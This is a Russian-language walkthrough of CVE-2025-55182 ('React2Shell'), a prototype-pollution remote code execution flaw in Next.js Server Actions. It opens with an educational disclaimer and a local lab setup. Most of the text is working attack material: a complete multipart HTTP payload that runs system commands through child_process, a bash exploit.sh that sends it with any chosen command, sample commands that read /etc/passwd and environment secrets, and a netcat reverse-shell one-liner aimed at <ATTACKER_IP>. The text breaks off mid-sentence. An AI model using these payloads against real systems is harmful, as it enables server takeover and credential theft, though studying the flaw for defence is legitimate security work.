
CVE-2025-55182, также известный как React2Shell, это критическая уязвимость, затрагивающая приложения Next.js, использующие React Server Components (RSC) и Server Actions.
⚠️ Предупреждение: Данная документация предоставлена только для образовательных целей и исследований в области безопасности. Любое несанкционированное использование этих методов против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, противозаконно.
CVE-2025-55182, также известная как React2Shell, — это критическая уязвимость, затрагивающая приложения Next.js, которые используют:
Атакующий может добиться удаленного выполнения кода (RCE) на сервере, эксплуатируя:
__proto__ и constructorСледствие: Произвольные системные команды могут быть выполнены с привилегиями процесса Node.js.
Next.js использует собственный протокол multipart/form-data для связи между клиентом и сервером:
Клиент (Браузер)
↓
[Полезная нагрузка RSC в multipart/form-data]
↓
Сервер Next.js
↓
Десериализация + Выполнение
↓
Ответ
Уязвимость существует потому, что:
__proto__, constructor)Атакующий может создать полезную нагрузку, которая изменяет внутренние свойства объектов:
{
"then": "$1:__proto__:then", // Нацеливается на цепочку прототипов
"_response": {
"_prefix": "вредоносный код здесь" // Внедрение кода
}
}
Используя __proto__, атакующий загрязняет прототип объектов JavaScript, затрагивая все объекты, которые наследуют от него.
Внутри поля _prefix атакующий внедряет код JavaScript, который:
process.mainModule.require()child_processexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
Результат команды скрывается в ответе об ошибке:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js возвращает эту ошибку клиенту, и вывод команды виден в поле digest.
# Клонирование PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Установка Node.js 20
nvm install 20
nvm use 20
# Установка зависимостей
cd test-server
npm install
npm run dev
Теперь сервер доступен по адресу:
http://localhost:3000
curl http://localhost:3000/
На этом этапе сервер ведет себя нормально.
http://localhost:3000/Будет перехвачен GET-запрос. Отправьте его на вкладку Repeater:
Замените весь запрос следующей полезной нагрузкой:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Нажмите Send
Создайте файл exploit.sh:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Формирование полезной нагрузки
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Замена команды
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Отправка запроса
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Сделайте его исполняемым:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
Для получения полного интерактивного доступа к оболочке используйте обратный шелл.
ncat -lvnp 9009
Или с помощью netcat:
nc -lvnp 9009
Измените полезную нагрузку, подставив следующую команду (замените <ATTACKER_IP> на ваш IP-адрес):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
Полная полезная нагрузка приобретает вид: